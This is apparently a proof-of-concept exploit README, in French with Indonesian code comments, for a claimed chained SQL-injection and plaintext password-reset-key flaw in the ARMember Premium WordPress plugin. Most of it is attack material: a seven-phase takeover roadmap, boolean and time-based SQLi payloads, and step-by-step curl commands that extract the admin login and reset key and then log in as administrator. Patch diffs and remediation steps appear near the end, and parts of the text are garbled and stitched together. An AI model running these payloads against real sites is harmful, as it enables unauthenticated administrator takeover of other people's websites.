
Exploit de preuve de concept pour CVE-2026-5076 démontrant la prise de contrôle d'un compte administrateur sans authentification dans ARMember Premium via une injection SQL et le stockage en clair de la clé de réinitialisation de mot de passe.
Clés de réinitialisation de mot de passe en clair stockées dans la base de données + injection SQL = prise de contrôle complète de l'administrateur
| CVE | Type | Sévérité |
|---|---|---|
| CVE-2026-5076 |
Trois vulnérabilités critiques dans le plugin WordPress ARMember Premium <= 7.3.1 qui, enchaînées ensemble, permettent la prise de contrôle totale du compte administrateur sans authentification :
wp_usermeta (arm_reset_password_key), et non hachée comme le standard WordPressorder du gestionnaire AJAX arm_directory_paging_action()filter du gestionnaire AJAX arm_directory_paging_action()Conséquence directe de CVE-2026-5076 : Toute personne ayant un accès en lecture à la base de données (via SQLi, exposition de sauvegardes, etc.) peut lire la clé de réinitialisation de mot de passe en clair et l'utiliser immédiatement pour réinitialiser le mot de passe de n'importe quel compte — sans avoir besoin de la casser.
WordPress standard stocke la clé de réinitialisation de mot de passe dans la colonne user_activation_key sous forme hachée à l'aide de wp_hash(). ARMember stocke une copie de la même clé dans wp_usermeta avec la meta_key arm_reset_password_key — mais en CLAIR :```php
// FILE: armember-membership/core/class.arm_member_forms.php
// Fungsi: arm_lost_password_action()
// WordPress menyimpan HASHED key (aman) $key = wp_generate_password(20, false); $wp_key = $wpdb->get_var( $wpdb->prepare("SELECT user_activation_key FROM $wpdb->users WHERE user_login=%s", $user_login) );
// ARMember menyimpan PLAINTEXT key (VULNERABLE!) update_user_meta($user_id, 'arm_reset_password_key', $wp_key); // ^^^^^^ // Ini adalah key ASLI yang bisa langsung dipakai
**Problème critique** : `$wp_key` est la clé générée par `wp_generate_password(20, false)` — 20 caractères alphanumériques. WordPress hache cette clé avant de la stocker dans `user_activation_key`, mais ARMember la stocke **avant le hachage** ou conserve une copie séparée **non hachée**.
### Cause racine n°2 : bug de persistance de la clé
Lorsque `get_password_reset_key()` est appelé (noyau WordPress), une nouvelle clé est générée et hachée. Cependant, cette fonction **ne met PAS à jour** `arm_reset_password_key` :```php
// WordPress core: get_password_reset_key($user)
// - Generate key baru
// - Hash key → simpan di user_activation_key
// - Return key plaintext
// - TAPI: arm_reset_password_key TIDAK diupdate!
Ainsi, l’ancienne clé en clair reste stockée indéfiniment dans arm_reset_password_key même après que l’utilisateur a réinitialisé son mot de passe. Cette clé peut être réutilisée plusieurs fois jusqu’à ce que la méta-clé soit explicitement supprimée.
Le gestionnaire AJAX arm_directory_paging_action() vérifie le nonce via arm_check_user_cap(), mais les paramètres order et filter sont directement intégrés à la requête SQL sans assainissement :```php
// FILE: armember-membership/core/class.arm_member_forms.php
// Fungsi: arm_directory_paging_action()
// Nonce check (dibutuhkan nonce valid) $nonce_check = $this->arm_check_user_cap();
// ORDER BY injection — langsung ke SQL tanpa sanitasi! $orderby = "u.{$arm_member} {$order_dir}"; // $order_dir dari $_POST['order'] → LANGSUNG ke ORDER BY
// WHERE injection via filter if (!empty($filter)) { $where .= " AND " . $filter; // ← LANGSUNG concatenation! }
**Exploitation ORDER BY**: Le paramètre `order` est inséré dans la clause `ORDER BY` SQL. Comme il n'y a pas de sanitisation, un attaquant peut injecter une sous-requête :```sql
-- Payload SQLi via parameter order
ORDER BY u.ID ASC, IF(COND, 1, EXP(710))
-- COND = TRUE → IF returns 1 → ORDER BY 1 → response normal (besar)
-- COND = FALSE → IF returns EXP(710) → MySQL overflow ERROR → response 90B
Cet oracle est insensible à la latence réseau car il distingue TRUE/FALSE en fonction de l'erreur ou du succès, et non du temps de réponse.
╔══════════════════════════════════════════════════════════════════════════════════╗ ║ CVE-2026-5076 FULL CHAIN ATTACK ROADMAP ║ ║ ARMember Premium <= 7.3.1 → Unauthenticated Admin Takeover ║ ╚══════════════════════════════════════════════════════════════════════════════════╝
┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 1: RECONNAISSANCE │ │ "Identifikasi target, versi, dan attack surface" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 1a. Deteksi ARMember │ │ ├─ GET / → cari string: "arm_", "armember", "ARMember" │ │ ├─ GET /wp-json/ → cari armember di response │ │ ├─ Cookie: arm_* indicates ARMember active │ │ └─ Version fingerprint: arm_css_version, arm_js_version │ │ │ │ 1b. Temukan Directory Page (MUST have arm_directory_form_container) │ │ ├─ Method 1: WP Search → GET /?s=members → parse links │ │ │ └─ Filter: skip /feed/, /rss2/, .xml, /atom/ │ │ ├─ Method 2: Direct Path Probe → /directory/, /members/, /community/ │ │ ├─ Method 3: Sitemap → /sitemap.xml → parse URLs │ │ └─ Method 4: REST API → /wp-json/wp/v2/pages → search ARM shortcode │ │ │ │ 1c. Ekstrak nonce + template_id (BERPASANGAN di form yang sama) │ │ ├─
│ │ │ ├─ │ │ │ └─ │ │ └─ Nonce = wp_create_nonce('arm_wp_nonce') — tied to session │ │ └─ Bukan per-template_id, tapi per-user session │ │ │ │ OUTPUT: nonce, template_id, version, directory_url │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 2: SQL INJECTION │ │ "Konfirmasi SQLi via error-based boolean oracle" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 2a. Kirim AJAX request dengan nonce + template_id │ │ POST /wp-admin/admin-ajax.php │ │ action=arm_directory_paging_action │ │ arm_wp_nonce= │ │ template_id= │ │ type=directory │ │ order=ASC │ │ │ │ 2b. Error-Based Boolean Oracle (IMMUNE LATENCY!) │ │ ├─ TRUE: order=ASC,IF(1=1,1,EXP(710)) → response ~10KB (normal) │ │ ├─ FALSE: order=ASC,IF(1=2,1,EXP(710)) → response ~90B (EXP overflow) │ │ └─ Delta: ~100x — tidak terpengaruh network jitter │ │ │ │ 2c. Kenapa EXP(710)? │ │ ├─ EXP(710) → MySQL double overflow → ERROR │ │ ├─ Error = response body ~90B (cepat, konsisten) │ │ └─ Lebih reliable daripada SLEEP-based oracle di site lambat │ │ │ │ 2d. Oracle Alternatif (untuk site tanpa error output) │ │ ├─ Time-based: IF(COND, SLEEP(3), u.ID) │ │ │ ├─ TRUE = slow (SLEEP), FALSE = fast (ORDER BY ID) │ │ │ └─ Rentan terhadap network latency, baseline shifting │ │ └─ 3-State: IF(COND, SLEEP(N), u.ID) vs baseline │ │ ├─ TRUE = slow + big response │ │ ├─ FALSE = fast + big response (ORDER BY valid ID) │ │ └─ ERROR = fast + small response (ORDER BY 0) │ │ │ │ OUTPUT: sqli_confirmed, sz_true, sz_false, oracle_type │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 3: DATABASE ENUMERATION │ │ "Ekstrak table prefix, admin user, dan metadata" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 3a. Deteksi Table Prefix (CRITICAL — prefix non-standard umum!) │ │ ├─ Method 1: INFORMATION_SCHEMA (paling reliable) │ │ │ ├─ (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES │ │ │ │ WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME LIKE '%users' │ │ │ │ LIMIT 1) IS NOT NULL │ │ │ └─ Ekstrak prefix: SUBSTRING(TABLE_NAME,1,LENGTH-5) │ │ ├─ Method 2: Brute-force prefix │ │ │ └─ wp_, wordpress_, wp_2_, site_, db_, blog_, web_ │ │ └─ Method 3: Per-row oracle via alias u/um │ │ └─ Main query sudah JOIN wp_users u, wp_usermeta um │ │ └─ Tapi TABLE NAME di subquery = prefix + "users" │ │ │ │ 3b. Ekstrak Admin User (4-Method Fallback) │ │ ├─ Method 1: wp_capabilities LIKE '%administrator%' │ │ │ └─ SELECT user_login FROM PREFIX_users WHERE ID= │ │ │ (SELECT user_id FROM PREFIX_usermeta │ │ │ WHERE meta_key='PREFIX_capabilities' │ │ │ AND meta_value LIKE '%administrator%' LIMIT 1) │ │ ├─ Method 2: wp_user_level = '10' │ │ │ └─ Meta key PREFIX_user_level dengan value '10' │ │ ├─ Method 3: Per-row um alias for capabilities │ │ │ └─ um.meta_key='PREFIX_capabilities' AND um.meta_value LIKE '%admin%' │ │ └─ Method 4: First user fallback (ORDER BY ID LIMIT 1) │ │ └─ Pada site kecil, user pertama = admin │ │ │ │ 3c. Ekstrak Admin Email │ │ └─ SELECT user_email FROM PREFIX_users WHERE user_login='ADMIN' │ │ │ │ 3d. Cek arm_reset_password_key Feature │ │ ├─ (SELECT COUNT(*) FROM PREFIX_usermeta │ │ │ WHERE meta_key='arm_reset_password_key') > 0 │ │ ├─ Jika FALSE → fitur tidak ada (v4.x) atau belum ada reset │ │ └─ Jika TRUE tapi 0 values → fitur ada, perlu trigger (Phase 4) │ │ │ │ OUTPUT: prefix, admin_login, admin_email, arm_key_feature_exists │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 4: PASSWORD RESET TRIGGER │ │ "Paksa target menyimpan plaintext key di database" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 4a. ARMember Forgot-Password (SET arm_reset_password_key = PLAINTEXT) │ │ ├─ POST /wp-admin/admin-ajax.php │ │ │ action=arm_lost_password │ │ │ arm_wp_nonce= │ │ │ user_login=<ADMIN_LOGIN> │ │ ├─ Hasil: arm_reset_password_key = plaintext 20-char key │ │ └─ Masalah: banyak site return "0" (action tidak terdaftar) │ │ │ │ 4b. WordPress Standard Lostpassword (SET user_activation_key = HASHED) │ │ ├─ POST /wp-login.php?action=lostpassword │ │ │ user_login=<ADMIN_LOGIN> │ │ │ wp-submit=Get New Password │ │ ├─ Hasil: user_activation_key = hashed key (TIDAK bisa dipakai langsung) │ │ └─ Email terkirim ke admin (jika mail server aktif) │ │ │ │ 4c. WP Lostpassword via Email │ │ └─ Jika user_login gagal, coba dengan admin_email │ │ │ │ 4d. Verifikasi Key Tersimpan (via SQLi) │ │ ├─ Cek arm_reset_password_key (PLAINTEXT — CVE-2026-5076) │ │ │ └─ (SELECT meta_value FROM PREFIX_usermeta │ │ │ WHERE meta_key='arm_reset_password_key' │ │ │ AND user_id=ADMIN_ID LIMIT 1) │ │ └─ Cek user_activation_key (HASHED — fallback) │ │ └─ LENGTH((SELECT user_activation_key FROM PREFIX_users │ │ WHERE user_login='ADMIN')) > 0 │ │ │ │ ⚠️ PENTING: WP lostpassword TIDAK menghasilkan arm_reset_password_key! │ │ Hanya form forgot-password ARMember yang menyimpan plaintext key. │ │ Versi < 5.x TIDAK memiliki fitur arm_reset_password_key sama sekali. │ │ │ │ OUTPUT: arm_reset_password_key (plaintext) atau user_activation_key (hashed) │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 5: KEY EXTRACTION │ │ "Baca plaintext password reset key dari database via SQLi" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 5a. Ekstrak arm_reset_password_key (CVE-2026-5076 — PLAINTEXT!) │ │ ├─ Binary search per-karakter via SQLi: │ │ │ ┌──────────────────────────────────────────────────────┐ │ │ │ │ Char 1: SUBSTRING(meta_value,1,1) > 'M' ? │ │ │ │ │ Char 1: SUBSTRING(meta_value,1,1) > 'T' ? │ │ │ │ │ ...binary search converges... │ │ │ │ │ Char 1 = 'X' ✓ │ │ │ │ │ Char 2: SUBSTRING(meta_value,2,1) > 'a' ? │ │ │ │ │ ...repeat for 20 characters... │ │ │ │ └──────────────────────────────────────────────────────┘ │ │ ├─ Key length: 20 karakter alfanumerik (wp_generate_password(20, false)) │ │ └─ Extraction time: ~7 queries × 20 chars = ~140 requests │ │ │ │ 5b. Fallback: Ekstrak user_activation_key (HASHED — tidak langsung pakai) │ │ └─ Format: hash keluaran wp_hash() — perlu cracking atau bypass │ │ │ │ 5c. Key Persistence (BUG KRITIS!) │ │ ├─ get_password_reset_key() TIDAK update arm_reset_password_key │ │ ├─ Key plaintext TETAP ADA meskipun user sudah reset password │ │ └─ Key bisa dipakai BERULANG KALI sampai meta key dihapus │ │ │ │ OUTPUT: arm_key (plaintext 20-char) atau hashed_key (fallback) │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 6: PASSWORD RESET │ │ "Gunakan plaintext key untuk reset password admin" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 6a. ARMember Reset Endpoint (armrp) │ │ ├─ GET /?armrp=true&key=<PLAINTEXT_KEY>&login=<ADMIN_LOGIN> │ │ ├─ ARMember memverifikasi key PLAINTEXT vs database PLAINTEXT │ │ │ └─ String comparison — BUKAN hash comparison! │ │ ├─ Jika match → tampilkan form reset password │ │ └─ Endpoint ini adalah GET request (bukan AJAX) — bisa diakses langsung │ │ │ │ 6b. WordPress Standard Reset (wp-login.php) │ │ ├─ GET /wp-login.php?action=rp&key=&login=<ADMIN_LOGIN> │ │ ├─ WordPress memverifikasi key HASHED — plaintext key TIDAK berfungsi │ │ └─ Hanya berguna jika key dari user_activation_key (hashed) │ │ │ │ 6c. Submit Password Baru │ │ ├─ POST ke form reset dengan password baru │ │ └─ Password baru ter-set → akun berhasil di-takeover │ │ │ │ OUTPUT: new_password, reset_confirmed │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 7: VALIDATION │ │ "Verifikasi akses admin penuh" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 7a. Login WordPress Standard │ │ ├─ POST /wp-login.php │ │ │ log=<ADMIN_LOGIN> │ │ │ pwd=<NEW_PASSWORD> │ │ └─ Redirect ke /wp-admin/ → dashboard accessible │ │ │ │ 7b. Login ARMember AJAX │ │ ├─ POST /wp-admin/admin-ajax.php │ │ │ action=arm_ajax_login │ │ │ arm_wp_nonce= │ │ │ username=<ADMIN_LOGIN> │ │ │ password=<NEW_PASSWORD> │ │ └─ Response berisi user data + redirect URL │ │ │ │ 7c. Verifikasi Dashboard Access │ │ └─ GET /wp-admin/ → 200 OK + admin menu visible │ │ │ │ ╔═══════════════════════════════════════════════════════════╗ │ │ ║ ✓ FULL CHAIN EXPLOITED ║ │ │ ║ Target: target.com ║ │ │ ║ User: admin ║ │ │ ║ Password: <new_password> ║ │ │ ║ Access: Full Administrator ║ │ │ ╚═══════════════════════════════════════════════════════════╝ │ │ │ │ OUTPUT: login_confirmed, dashboard_accessible │ └─────────────────────────────────────────────────────────────────────────────────┘---
## 💻 Preuve de concept
### Prérequis
- La cible exécute **ARMember Premium <= 7.3.1**
- La cible dispose d'une **page d'annuaire** exposée publiquement (pour nonce + template_id)
- Version **>= 5.x** pour la fonctionnalité `arm_reset_password_key` (v4.x ne dispose pas de cette fonctionnalité)
### PoC minimal — étape par étape```bash
# ═══════════════════════════════════════════════════════
# PHASE 1: RECONNAISSANCE
# ═══════════════════════════════════════════════════════
# Step 1a: Deteksi ARMember version
curl -s https://target.com/ | grep -oP 'arm_css_version["\s:=]+\K[0-9.]+'
# Step 1b: Temukan directory page
curl -s "https://target.com/?s=members" | \
grep -oP 'href="(https?://[^"]+(?:member|directory)[^"]*)"' | \
head -5
# Step 1c: Ekstrak nonce + template_id dari directory page
curl -s https://target.com/directory/ | \
grep -oP 'arm_wp_nonce.*?value="[^"]*"' | head -1
curl -s https://target.com/directory/ | \
grep -oP 'template_id.*?value="[^"]*"' | head -1
# ═══════════════════════════════════════════════════════
# PHASE 2: SQL INJECTION CONFIRMATION
# ═══════════════════════════════════════════════════════
# Step 2a: Konfirmasi SQLi dengan error-based oracle
# TRUE condition → response besar (~10KB)
curl -s -o /dev/null -w "%{size_download}" \
-d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=1,1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# FALSE condition → response kecil (~90B, MySQL error)
curl -s -o /dev/null -w "%{size_download}" \
-d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=2,1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# Jika TRUE ≠ FALSE → SQLi CONFIRMED
# ═══════════════════════════════════════════════════════
# PHASE 3: DATABASE ENUMERATION
# ═══════════════════════════════════════════════════════
# Step 3a: Deteksi table prefix via INFORMATION_SCHEMA
# Test: apakah prefix wp_ ?
curl -s -o /dev/null -w "%{size_download}" \
-d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF((SELECT COUNT(*) FROM wp_users)>0,1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# Jika response besar → prefix = wp_
# Jika response kecil → coba prefix lain
# Step 3b: Ekstrak admin user_login (binary search)
# Contoh: karakter pertama > 'a' ?
curl -s -o /dev/null -w "%{size_download}" \
-d "action=...&order=ASC,IF(SUBSTRING((SELECT user_login FROM wp_users WHERE ID=1),1,1)>'a',1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# Repeat binary search per karakter...
# Step 3c: Cek apakah arm_reset_password_key ada
curl -s -o /dev/null -w "%{size_download}" \
-d "action=...&order=ASC,IF((SELECT COUNT(*) FROM wp_usermeta WHERE meta_key='arm_reset_password_key')>0,1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# ═══════════════════════════════════════════════════════
# PHASE 4: TRIGGER PASSWORD RESET
# ═══════════════════════════════════════════════════════
# Step 4a: Trigger ARMember forgot-password (SET arm_reset_password_key)
curl -s -X POST \
-d "action=arm_lost_password&arm_wp_nonce=NONCE&user_login=ADMIN_LOGIN" \
https://target.com/wp-admin/admin-ajax.php
# Step 4b: Fallback — WordPress standard lostpassword
curl -s -X POST \
-d "user_login=ADMIN_LOGIN&redirect_to=&wp-submit=Get+New+Password" \
https://target.com/wp-login.php?action=lostpassword
# ═══════════════════════════════════════════════════════
# PHASE 5: EXTRACT PLAINTEXT KEY (CVE-2026-5076)
# ═══════════════════════════════════════════════════════
# Step 5a: Baca arm_reset_password_key dari database via SQLi
# Binary search karakter per karakter
# Karakter 1 > 'M' ?
curl -s -o /dev/null -w "%{size_download}" \
-d "action=...&order=ASC,IF(SUBSTRING((SELECT meta_value FROM wp_usermeta WHERE meta_key='arm_reset_password_key' AND user_id=1),1,1)>'M',1,EXP(710))" \
https://target.com/wp-admin/admin-ajax.php
# ... repeat untuk 20 karakter ...
# Hasil: PLAINTEXT KEY berhasil diekstrak
# ═══════════════════════════════════════════════════════
# PHASE 6: RESET PASSWORD
# ═══════════════════════════════════════════════════════
# Step 6a: Akses ARMember reset endpoint dengan plaintext key
curl -v "https://target.com/?armrp=true&key=<EXTRACTED_KEY>&login=admin"
# Jika key match → form reset password ditampilkan!
# Step 6b: Submit password baru
curl -s -X POST \
-d "pass1=NewPassword123!&pass2=NewPassword123!&key=<EXTRACTED_KEY>&login=admin" \
"https://target.com/?armrp=true"
# ═══════════════════════════════════════════════════════
# PHASE 7: VALIDATE LOGIN
# ═══════════════════════════════════════════════════════
# Step 7a: Login dengan password baru
curl -v -X POST \
-d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \
https://target.com/wp-login.php
# Step 7b: Verifikasi dashboard access
curl -s -L -c cookies.txt \
-d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \
https://target.com/wp-login.php && \
curl -s -b cookies.txt https://target.com/wp-admin/ | \
grep "Dashboard"
Le correctif de la version 7.3.2 remédie aux trois CVE:
// VULNERABLE (<=7.3.1) update_user_meta($user_id, 'arm_reset_password_key', $wp_key); // plaintext key ^^^^^^^
// PATCHED (7.3.2) $hashed_key = wp_hash($wp_key); update_user_meta($user_id, 'arm_reset_password_key', $hashed_key); // hashed key ^^^^^^^^^^^
- La clé est désormais stockée sous forme **hashed** en utilisant `wp_hash()`
- La vérification de la clé utilise `wp_check_password()` ou la comparaison de hachage
- Les anciennes clés en clair doivent être supprimées manuellement
### Correctif CVE-2026-5073 (ORDER BY SQLi)```php
// VULNERABLE (<=7.3.1)
$orderby = "u.{$arm_member} {$order_dir}";
// ^^^^^^^^^^ langsung dari user input
// PATCHED (7.3.2)
$allowed_orders = array('ASC', 'DESC', 'asc', 'desc');
if (!in_array($order_dir, $allowed_orders, true)) {
$order_dir = 'ASC';
}
$orderby = "u.{$arm_member} {$order_dir}";
// VULNERABLE (<=7.3.1) $where .= " AND " . $filter; // ^^^^^^^ langsung concatenation
// PATCHED (7.3.2) // Filter parameter removed from user input entirely // Filtering now handled server-side with prepared statements
---
## 🛡️ Remédiation
### Étapes immédiates
1. **Mettez à jour ARMember Premium** vers la version **7.3.2** ou plus récente
2. **Supprimez toutes les `arm_reset_password_key`** présentes dans la base de données : ```sql
DELETE FROM wp_usermeta WHERE meta_key = 'arm_reset_password_key';
-- Cek apakah ada arm_reset_password_key (indikasi exploit) SELECT user_id, meta_value FROM wp_usermeta WHERE meta_key = 'arm_reset_password_key' AND meta_value != '';
-- Cek login mencurigakan SELECT * FROM wp_users WHERE user_activation_key != '' AND user_modified > DATE_SUB(NOW(), INTERVAL 7 DAY);
### Mitigation sans mise à jour
- **Supprimez la meta key** `arm_reset_password_key` périodiquement via cron
- **Désactivez** le formulaire de mot de passe oublié d'ARMember (utilisez uniquement le standard WP)
- **Limitez** l'accès à la page d'annuaire (connexion requise)
- **Implémentez un WAF** qui bloque les patterns SQLi sur `arm_directory_paging_action`
---
## 🧩 Scénarios d'attaque
### Scénario A : Chaîne complète classique (toutes les CVE combinées)```
Attacker discovers directory page → extracts nonce+tid →
SQLi to read arm_reset_password_key (plaintext) →
uses armrp endpoint to reset admin password →
logs in as admin
Prérequis: ARMember v5.x+ avec mot de passe oublié déclenché par un réel utilisateur
Attacker discovers directory page → extracts nonce+tid → SQLi to extract admin_login + admin_email → triggers WP lostpassword → email sent → SQLi to read user_activation_key (hashed) → CRACK the hash offline → reset password via wp-login.php
**Prérequis**: Site avec serveur mail fonctionnel, capacité de craquage de hash
### Scénario C: Exposition des sauvegardes de base de données```
Attacker finds exposed database backup (.sql, .zip, .tar.gz) →
grep for arm_reset_password_key →
obtain plaintext keys →
use armrp endpoint to reset passwords
Prérequis: Sauvegarde exposée, pas besoin de SQLi
Attacker gains admin via CVE-2022-1903 or other vector → reads arm_reset_password_key for ALL users → resets passwords for other admin accounts → persists access even if original vulnerability is patched
**Nécessite** : Accès administrateur initial via n'importe quel vecteur
---
## ⚠️ Avertissement
Cet outil et cette documentation sont uniquement destinés à des **tests de sécurité légitimes** avec une autorisation explicite. Toute utilisation non autorisée sur un système qui ne vous appartient pas ou sans autorisation écrite est **illégale**. L'auteur décline toute responsabilité en cas de mauvaise utilisation.
---
## 📚 Références
- [Avis Wordfence — CVE-2026-5076](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-insecure-password-reset-mechanism)
- [Avis Wordfence — CVE-2026-5073](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection)
- [Avis Wordfence — CVE-2026-5074](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection-2)
- [Dépôt du plugin ARMember](https://wordpress.org/plugins/armember-membership/)
- [Mécanisme de réinitialisation du mot de passe WordPress](https://developer.wordpress.org/reference/functions/get_password_reset_key/)
- [CWE-640 : Mécanisme faible de récupération de mot de passe](https://cwe.mitre.org/data/definitions/640.html)
---
<div align="center">


Copyright © 2026 **XENON1337**
Remerciements spéciaux : **ENDANG**
</div>
| Élément | Détail |
|---|
| CVE ID | CVE-2026-5076 |
| Plugin | ARMember – Plugin d'adhésion et de restriction de contenu |
| Version affectée | Premium <= 7.3.1 |
| Version corrigée | 7.3.2 |
| Score CVSS | 9.8 Critical |
| CWE | CWE-640: Weak Password Recovery |
| Type | Réinitialisation de mot de passe non sécurisée → stockage de clé en clair |
| Vecteur d'attaque | Réseau / Distant / Non authentifié (via chaîne SQLi) |
| Installations actives | 30,000+ (Premium) |
| Découvreur | Wordfence Threat Intelligence |
| Date de publication | 3 juin 2026 |
| Réinitialisation de mot de passe non sécurisée — stockage de clé en clair |
| 9.8 Critique |
| CVE-2026-5073 | Injection SQL non authentifiée (ORDER BY) | 9.8 Critique |
| CVE-2026-5074 | Injection SQL non authentifiée (WHERE) | 9.8 Critique |